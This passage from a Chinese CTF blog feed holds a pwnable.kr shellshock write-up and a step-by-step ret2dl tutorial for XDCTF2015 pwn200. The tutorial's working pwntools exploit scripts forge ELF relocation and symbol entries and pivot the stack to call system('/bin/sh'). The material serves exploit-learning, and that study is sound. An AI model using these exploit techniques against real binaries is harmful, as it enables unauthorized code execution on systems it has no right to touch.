<span class="number">0</span>))</span><br><span class="line">				malloc_printerr (<span class="string">"corrupted double-linked list (not small)"</span>);</span><br><span class="line">                <span class="comment">//检查前chunk的bk_nextsize和后chunk的fd_nextsize是否与P相等</span></span><br><span class="line">            </span><br><span class="line">			<span class="keyword">if</span> (FD-&gt;fd_nextsize == <span class="literal">NULL</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">if</span> (P-&gt;fd_nextsize == P)	FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;</span><br><span class="line">				<span class="keyword">else</span></span><br><span class="line">				&#123;</span><br><span class="line">				   FD-&gt;fd_nextsize = P-&gt;fd_nextsize;</span><br><span class="line">                	FD-&gt;bk_nextsize = P-&gt;bk_nextsize;</span><br><span class="line">                	P-&gt;fd_nextsize-&gt;bk_nextsize = FD;</span><br><span class="line">                	P-&gt;bk_nextsize-&gt;fd_nextsize = FD;        </span><br><span class="line">				&#125;                                                              </span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">			&#123;             </span><br><span class="line">            	 P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;</span><br><span class="line">				P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;</span><br><span class="line">			&#125;                                                                                            </span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


]]></content>
      <tags>
        <tag>source code</tag>
      </tags>
  </entry>
  <entry>
    <title>pwnable.kr——shellshock</title>
    <url>/2021/04/07/pwnable-kr%E2%80%94%E2%80%94shellshock/</url>
    <content><![CDATA[<h1 id="pwnable-kr-——-shellshock"><a href="#pwnable-kr-——-shellshock" class="headerlink" title="pwnable.kr —— shellshock"></a>pwnable.kr —— shellshock</h1><p>题目有这样一串代码（shellshock.c）</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">	setresuid(getegid(), getegid(), getegid());</span><br><span class="line">	setresgid(getegid(), getegid(), getegid());</span><br><span class="line">	system(<span class="string">"/home/shellshock/bash -c 'echo shock_me'"</span>);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>因为有些知识记的不太清了这里就再复习一下euid，ruid，suid什么的</p>
<ul>
<li>ruid（real）：用于在系统中标识用户，当用户成功登录一个UNIX系统后就唯一确定</li>
<li>euid（effective）：用于系统决定用户对系统资源的访问权限，通常情况下等于ruid。当碰上程序属主设置了setuid位的时候，执行该程序会将euid改为文件属主</li>
</ul>
<p>gid同理，所以这里执行到system的时候已经有对应的组权限了（flag在对应组可读）</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210407125845099.png" alt="image-20210407125845099" style="zoom:80%;">

<p>然后就是构造触发shellshock漏洞的语句</p>
<p><a href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)" target="_blank" rel="noopener">wiki上面有链接</a>，原理跟linux环境变量相关，bash中可以通过环境变量来导入function，此时的function也会当做普通环境变量来处理，具体就是<code>函数名=&#39;(){ ...; };&#39;</code>，这样子的键值对，而在处理这个function变量的时候，有漏洞的bash版本只检查了前几个字符</p>
<p><code>STREQN (&quot;() {&quot;, string, 4)</code></p>
<p>然后将整条字符串全部当做脚本代码处理了，本意应该是起子实例的时候，将这个函数的代码字符串直接跑到子实例bash中，供后续调用。但是这里并没有做语法检查或者结尾检查之类的，所以如果函数后面跟了命令也会被跑出来</p>
<p>所以利用流程就是export一个函数类型的环境变量，然后再起一个bash就会触发后续命令</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210407232747355.png" alt="image-20210407232747355" style="zoom:80%;">

<p>原理大致如下，再结合我们的程序代码，可以看到程序刚好用system起了一个bash，所以export我们的构造语句之后再跑程序就可以直接cat flag了</p>
<p>如图：</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210407233151874.png" alt="image-20210407233151874" style="zoom:80%;">

<p>好像后续有些版本export就会加前后缀什么的了，修复的方式这里不深究，以后需要再看</p>
]]></content>
      <tags>
        <tag>pwnable.kr</tag>
      </tags>
  </entry>
  <entry>
    <title>ret2dl</title>
    <url>/2020/04/08/ret2dl/</url>
    <content><![CDATA[<h1 id="dl-runtime-resolve"><a href="#dl-runtime-resolve" class="headerlink" title="_dl_runtime_resolve"></a>_dl_runtime_resolve</h1><p>这个应该说是一个很久远的坑了，算是给自己补补基础吧，也是查漏补缺23333，也顺带复习一下延迟绑定</p>
<p>写了一个程序自己调试程序调用_dl_runtime_resolve的过程</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">"hello world"</span>);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">"hello world twice"</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h2 id="第一次调用puts"><a href="#第一次调用puts" class="headerlink" title="第一次调用puts"></a>第一次调用puts</h2><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579182750270.png" alt="1579182750270" style="zoom:80%;">

<p>直接call程序的plt段，plt段是一个是一个类似 jmp [GOT表] 的结构，此时的第一次调用的GOT项&lt;0x804a00c&gt;存放着一个0x08048306的plt段地址，如下所示</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579182851280.png" alt="1579182851280" style="zoom:80%;">

<p>这个地方入栈了一个0，然后跳到0x80482f0 再入栈一个[0x804a004] (link_map)然后调用_dl_runtime_resolve函数来调用我们要用的函数</p>
<p>这个resolve函数一共是两个参数，这两个参数分别是一个link_map的指针和puts在ELF JMPREL Relocation Table中的偏移，示意如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">_dl_runtime_resolve(link_map, rel_offset)</span><br></pre></td></tr></table></figure>

<p>其中ELF JMPREL Relocation Table中如下所示+0即为puts函数的偏移（64位的话就是index）</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579183036345.png" alt="1579183036345" style="zoom:80%;">

<p>第一个参数&amp;link_map如下所示，第三个数是.dynamic段的地址</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579183162193.png" alt="1579183162193" style="zoom:80%;">

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579183223982.png" alt="1579183223982" style="zoom:80%;">

<p>主要注意观察这三个</p>
<p>这里介绍两个结构体</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>//<span class="title">Elf32_Sym</span> 不过这里我没有给<span class="title">Symbol</span> <span class="title">Table</span>的截图</span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Elf32_Word    st_name; <span class="comment">//dd 符号名，是相对.dynstr起始的偏移</span></span><br><span class="line">  Elf32_Addr    st_value;<span class="comment">//dd</span></span><br><span class="line">  Elf32_Word    st_size; <span class="comment">//dd</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">char</span> st_info; <span class="comment">//db 对于导入函数符号而言，它是0x12</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">char</span> st_other;<span class="comment">//db</span></span><br><span class="line">  Elf32_Section st_shndx;<span class="comment">//dw</span></span><br><span class="line">&#125;	Elf32_Sym; <span class="comment">//对于导入函数符号而言，其他字段都是0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>//<span class="title">Elf32_Rel</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Elf32_Addr    r_offset; <span class="comment">//dd 指向GOT表的指针</span></span><br><span class="line">  Elf32_Word    r_info;   <span class="comment">//dd</span></span><br><span class="line">  <span class="comment">// 一些关于导入符号的信息，我们只关心从第二个字节开始的值((val)&gt;&gt;8)，忽略那个07</span></span><br><span class="line">&#125; Elf32_Rel;</span><br></pre></td></tr></table></figure>



<h2 id="dl-runtime-resolve具体步骤"><a href="#dl-runtime-resolve具体步骤" class="headerlink" title="_dl_runtime_resolve具体步骤"></a>_dl_runtime_resolve具体步骤</h2><ol>
<li>用<strong>link_map</strong>访问.dynamic，取出<strong>.dynstr, .dynsym, .rel.plt(存放Elf32_Rel处)</strong> 的指针</li>
<li>.rel.plt + 传入的<strong>第二个参数</strong>求出当前函数的重定位表项<strong>Elf32_Rel的指针</strong>，记作rel</li>
<li>rel-&gt;r_info &gt;&gt; 8作为.dynsym的<strong>下标</strong>，求出当前函数的符号表项Elf32_Sym的指针，记作sym</li>
<li>.dynstr + sym-&gt;st_name得出符号<strong>名字符串指针</strong></li>
<li>在动态链接库查找这个函数的地址，并且把地址赋值给*rel-&gt;r_offset，即GOT表</li>
<li>调用这个函数</li>
</ol>
<p>大致有这么一张图</p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406224128730.png" alt="image-20200406224128730" style="zoom:80%;">

<h2 id="第二次调用puts"><a href="#第二次调用puts" class="headerlink" title="第二次调用puts"></a>第二次调用puts</h2><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/1579183405159.png" alt="1579183405159" style="zoom:80%;">

<p>可以看到此时got表已经被改成了puts函数的地址，所以第二次是直接调用</p>
<h2 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// 首先通过参数reloc_arg计算重定位入口，这里的JMPREL即.rel.plt，reloc_offset即reloc_arg</span></span><br><span class="line">    <span class="keyword">const</span> PLTREL *<span class="keyword">const</span> reloc = (<span class="keyword">const</span> <span class="keyword">void</span> *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);</span><br><span class="line">    <span class="comment">// 然后通过reloc-&gt;r_info找到.dynsym中对应的条目</span></span><br><span class="line">    <span class="function"><span class="keyword">const</span> <span class="title">ElfW</span><span class="params">(Sym)</span> *sym </span>= &amp;symtab[ELFW(R_SYM) (reloc-&gt;r_info)];</span><br><span class="line">    <span class="comment">// 这里还会检查reloc-&gt;r_info的最低位是不是R_386_JUMP_SLOT=7</span></span><br><span class="line">    assert (ELFW(R_TYPE)(reloc-&gt;r_info) == ELF_MACHINE_JMP_SLOT);</span><br><span class="line">    <span class="comment">// 接着通过strtab+sym-&gt;st_name找到符号表字符串，result为libc基地址</span></span><br><span class="line">    result = _dl_lookup_symbol_x (strtab + sym-&gt;st_name, l, &amp;sym, l-&gt;l_scope, version, ELF_RTYPE_CLASS_PLT, flags, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="comment">// value为libc基址加上要解析函数的偏移地址，也即实际地址</span></span><br><span class="line">    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym-&gt;st_value) : <span class="number">0</span>);</span><br><span class="line">    <span class="comment">// 最后把value写入相应的GOT表条目中</span></span><br><span class="line">    <span class="keyword">return</span> elf_machine_fixup_plt (l, result, reloc, rel_addr, value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h1 id="ret2dl"><a href="#ret2dl" class="headerlink" title="ret2dl"></a>ret2dl</h1><p>这个攻击更适于一些比较简单的栈溢出的情况，但同时又难以泄露获取更多信息的情况下</p>
<p>可用方式：</p>
<ol>
<li>控制程序执行dl_resolve函数<ul>
<li>给定Link_map以及index两个参数。</li>
<li>当然我们可以直接给定 plt[0]对应的汇编代码，这时，我们就只需要一个index就足够了。</li>
</ul>
</li>
<li>控制index的大小，以便于指向自己所控制的区域，从而伪造一个指定的重定位表项。</li>
<li>伪造重定位表项，使得重定位表项所指的符号也在自己可以控制的范围内。</li>
<li>伪造符号内容，使得符号对应的名称也在自己可以控制的范围内</li>
</ol>
<h1 id="XDCTF2015-pwn200"><a href="#XDCTF2015-pwn200" class="headerlink" title="XDCTF2015-pwn200"></a>XDCTF2015-pwn200</h1><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406232708454.png" alt="image-20200406232708454" style="zoom:80%;">

<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20200406232720644.png" alt="image-20200406232720644" style="zoom:80%;">

<p>程序的逻辑很简单，其中最主要的是下面的read栈溢出</p>
<p>为了来一步步学习ret2dl，就照着师傅的博客一步步来</p>
<h2 id="stage1"><a href="#stage1" class="headerlink" title="stage1"></a>stage1</h2><p>stage是通过一个栈迁移的运用来打印我们读入的字符串<code>/bin/sh</code></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'pwn200'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">context.terminal = [<span class="string">'tmux'</span>, <span class="string">'splitw'</span>, <span class="string">'-h'</span>]</span><br><span class="line"></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\x00'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\x00'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line">ppp_ret = <span class="number">0x0804856c</span></span><br><span class="line">pop_ebp_ret = <span class="number">0x08048453</span></span><br><span class="line">leave_ret = <span class="number">0x08048481</span></span><br><span class="line"></span><br><span class="line">stack_size = <span class="number">0x800</span></span><br><span class="line">bss_addr = <span class="number">0x0804A020</span> <span class="comment"># readelf -S bof | grep ".bss"</span></span><br><span class="line">base_stage = bss_addr + stack_size</span><br><span class="line"></span><br><span class="line">read_plt=<span class="number">0x08048390</span></span><br><span class="line">write_plt=<span class="number">0x080483C0</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">0x08048453 : pop ebp ; ret</span></span><br><span class="line"><span class="string">0x08048452 : pop ebx ; pop ebp ; ret</span></span><br><span class="line"><span class="string">0x0804856c : pop ebx ; pop edi ; pop ebp ; ret</span></span><br><span class="line"><span class="string">0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret</span></span><br><span class="line"><span class="string">0x0804836c : pop ebx ; ret</span></span><br><span class="line"><span class="string">0x0804856d : pop edi ; pop ebp ; ret</span></span><br><span class="line"><span class="string">0x080485cd : pop esi ; pop edi ; pop ebp ; ret</span></span><br><span class="line"><span class="string">0x0804834b : ret</span></span><br><span class="line"><span class="string">0x08048532 : ret 0xb8</span></span><br><span class="line"><span class="string">0x08048481 : leave ; ret</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">p.recvuntil(<span class="string">'Welcome to XDCTF2015~!\n'</span>)</span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">0x70</span></span><br><span class="line">payload += p32(read_plt) <span class="comment"># 读100个字节到base_stage 这里栈是先读再迁移</span></span><br><span class="line">payload += p32(ppp_ret) <span class="comment">#清除参数</span></span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(base_stage)</span><br><span class="line">payload += p32(<span class="number">100</span>)</span><br><span class="line">payload += p32(pop_ebp_ret) <span class="comment"># 把base_stage pop到ebp中</span></span><br><span class="line">payload += p32(base_stage)</span><br><span class="line">payload += p32(leave_ret) <span class="comment"># mov esp, ebp ; pop ebp ;将esp指向base_stage</span></span><br><span class="line">raw_input()</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span> <span class="comment"># 接上一个payload的leave-&gt;pop ebp ; ret</span></span><br><span class="line">payload2 += p32(write_plt)</span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(<span class="number">1</span>)</span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += p32(len(cmd))</span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2)) <span class="comment"># pad</span></span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="stage2"><a href="#stage2" class="headerlink" title="stage2"></a>stage2</h2><p>这里修改了payload2，使其成为利用plt[0]+fake_index的方法来打印<code>/bin/sh</code></p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line"></span><br><span class="line">plt_0 = <span class="number">0x08048370</span> </span><br><span class="line">index_offset = <span class="number">0x20</span> <span class="comment"># write's index</span></span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span> <span class="comment"># for pop ebp</span></span><br><span class="line">payload2 += p32(plt_0) </span><br><span class="line">payload2 += p32(index_offset) <span class="comment">#fake index</span></span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(<span class="number">1</span>)</span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += p32(len(cmd))</span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">p.sendline(payload2)</span><br></pre></td></tr></table></figure>

<h2 id="stage3"><a href="#stage3" class="headerlink" title="stage3"></a>stage3</h2><p>这次是利用一个fake <code>Elf32_Rel</code>，和fake offset来实现write的调用 offset就是通过<code>fake_reloc-rel_plt</code>的偏移计算出来的</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line">plt_0 = <span class="number">0x08048370</span></span><br><span class="line">rel_plt = <span class="number">0x08048318</span></span><br><span class="line">index_offset = (base_stage + <span class="number">28</span>) - rel_plt <span class="comment"># base_stage + 28指向fake_reloc，减去rel_plt即偏移</span></span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>]</span><br><span class="line">r_info = <span class="number">0x507</span> <span class="comment"># write: Elf32_Rel-&gt;r_info</span></span><br><span class="line">fake_reloc = p32(write_got) + p32(r_info)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(plt_0)</span><br><span class="line">payload2 += p32(index_offset)</span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(<span class="number">1</span>)</span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += p32(len(cmd))</span><br><span class="line">payload2 += fake_reloc <span class="comment"># (base_stage+28)的位置</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="stage4"><a href="#stage4" class="headerlink" title="stage4"></a>stage4</h2><p>此时伪造了一个<code>Elf32_Sym</code>结构体还有fake r_info，至此我们已经可以劫持构造Elf32_Rel还有Elf32_sym了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">...</span><br><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line">plt_0 = <span class="number">0x08048370</span></span><br><span class="line">rel_plt = <span class="number">0x08048318</span></span><br><span class="line">index_offset = (base_stage + <span class="number">28</span>) - rel_plt</span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>]</span><br><span class="line">dynsym = <span class="number">0x080481D8</span></span><br><span class="line">dynstr = <span class="number">0x08048268</span></span><br><span class="line">fake_sym_addr = base_stage + <span class="number">36</span></span><br><span class="line">align = <span class="number">0x10</span> - ((fake_sym_addr - dynsym) &amp; <span class="number">0xf</span>) <span class="comment"># 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小</span></span><br><span class="line">fake_sym_addr = fake_sym_addr + align</span><br><span class="line">index_dynsym = (fake_sym_addr - dynsym) / <span class="number">0x10</span> <span class="comment"># 除以0x10因为Elf32_Sym结构体的大小为0x10，得到write的dynsym索引号</span></span><br><span class="line">r_info = (index_dynsym &lt;&lt; <span class="number">8</span>) | <span class="number">0x7</span></span><br><span class="line">fake_reloc = p32(write_got) + p32(r_info)</span><br><span class="line">st_name = <span class="number">0x54</span></span><br><span class="line">fake_sym = p32(st_name) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12</span>)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(plt_0)</span><br><span class="line">payload2 += p32(index_offset)</span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(<span class="number">1</span>)</span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += p32(len(cmd))</span><br><span class="line">payload2 += fake_reloc <span class="comment"># (base_stage+28)的位置</span></span><br><span class="line">payload2 += <span class="string">'B'</span> * align <span class="comment">#算出要对齐的字节数</span></span><br><span class="line">payload2 += fake_sym <span class="comment"># (base_stage+36)的位置</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="stage5"><a href="#stage5" class="headerlink" title="stage5"></a>stage5</h2><p>前面我们写了<code>st_name = 0x54</code>，指向的是string table中的<code>write</code>字符串</p>
<p>然后我们把他修改成我们输入的<code>write</code>字符串</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line">plt_0 = <span class="number">0x08048370</span></span><br><span class="line">rel_plt = <span class="number">0x08048318</span></span><br><span class="line">index_offset = (base_stage + <span class="number">28</span>) - rel_plt</span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>]</span><br><span class="line">dynsym = <span class="number">0x080481D8</span></span><br><span class="line">dynstr = <span class="number">0x08048268</span></span><br><span class="line">fake_sym_addr = base_stage + <span class="number">36</span></span><br><span class="line">align = <span class="number">0x10</span> - ((fake_sym_addr - dynsym) &amp; <span class="number">0xf</span>)</span><br><span class="line">fake_sym_addr = fake_sym_addr + align</span><br><span class="line">index_dynsym = (fake_sym_addr - dynsym) / <span class="number">0x10</span></span><br><span class="line">r_info = (index_dynsym &lt;&lt; <span class="number">8</span>) | <span class="number">0x7</span></span><br><span class="line">fake_reloc = p32(write_got) + p32(r_info)</span><br><span class="line">st_name = (fake_sym_addr + <span class="number">0x10</span>) - dynstr <span class="comment"># 加0x10因为Elf32_Sym的大小为0x10</span></span><br><span class="line">fake_sym = p32(st_name) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12</span>)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(plt_0)</span><br><span class="line">payload2 += p32(index_offset)</span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(<span class="number">1</span>)</span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += p32(len(cmd))</span><br><span class="line">payload2 += fake_reloc <span class="comment"># (base_stage+28)的位置</span></span><br><span class="line">payload2 += <span class="string">'B'</span> * align</span><br><span class="line">payload2 += fake_sym <span class="comment"># (base_stage+36)的位置</span></span><br><span class="line">payload2 += <span class="string">"write\x00"</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">r.sendline(payload2)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="stage6"><a href="#stage6" class="headerlink" title="stage6"></a>stage6</h2><p>上一步我们用输入的write实现了调用，这一步直接改成system不就是getshell了吗</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line">plt_0 = <span class="number">0x08048380</span></span><br><span class="line">rel_plt = <span class="number">0x08048330</span></span><br><span class="line">index_offset = (base_stage + <span class="number">28</span>) - rel_plt</span><br><span class="line">write_got = elf.got[<span class="string">'write'</span>]</span><br><span class="line">dynsym = <span class="number">0x080481d8</span></span><br><span class="line">dynstr = <span class="number">0x08048278</span></span><br><span class="line">fake_sym_addr = base_stage + <span class="number">36</span></span><br><span class="line">align = <span class="number">0x10</span> - ((fake_sym_addr - dynsym) &amp; <span class="number">0xf</span>)</span><br><span class="line">fake_sym_addr = fake_sym_addr + align</span><br><span class="line">index_dynsym = (fake_sym_addr - dynsym) / <span class="number">0x10</span></span><br><span class="line">r_info = (index_dynsym &lt;&lt; <span class="number">8</span>) | <span class="number">0x7</span></span><br><span class="line">fake_reloc = p32(write_got) + p32(r_info)</span><br><span class="line">st_name = (fake_sym_addr + <span class="number">0x10</span>) - dynstr</span><br><span class="line">fake_sym = p32(st_name) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12</span>)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(plt_0)</span><br><span class="line">payload2 += p32(index_offset)</span><br><span class="line">payload2 += <span class="string">'AAAA'</span></span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += <span class="string">'aaaa'</span></span><br><span class="line">payload2 += <span class="string">'aaaa'</span></span><br><span class="line">payload2 += fake_reloc <span class="comment"># (base_stage+28)的位置</span></span><br><span class="line">payload2 += <span class="string">'B'</span> * align</span><br><span class="line">payload2 += fake_sym <span class="comment"># (base_stage+36)的位置</span></span><br><span class="line">payload2 += <span class="string">"system\x00"</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'A'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">p.sendline(payload2)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="模板"><a href="#模板" class="headerlink" title="模板"></a>模板</h2><p>这里使用到了roputils</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> roputils <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> process</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> gdb</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> context</span><br><span class="line">r = process(<span class="string">'./pwn200'</span>)</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line"></span><br><span class="line">rop = ROP(<span class="string">'./pwn200'</span>)</span><br><span class="line">offset = <span class="number">112</span></span><br><span class="line">bss_base = rop.section(<span class="string">'.bss'</span>)</span><br><span class="line">buf = rop.fill(offset)</span><br><span class="line"></span><br><span class="line">buf += rop.call(<span class="string">'read'</span>, <span class="number">0</span>, bss_base, <span class="number">100</span>) <span class="comment">#返回地址处自动加上了有ppp_ret的地址</span></span><br><span class="line"><span class="comment">## used to call dl_Resolve()</span></span><br><span class="line">buf += rop.dl_resolve_call(bss_base + <span class="number">20</span>, bss_base) <span 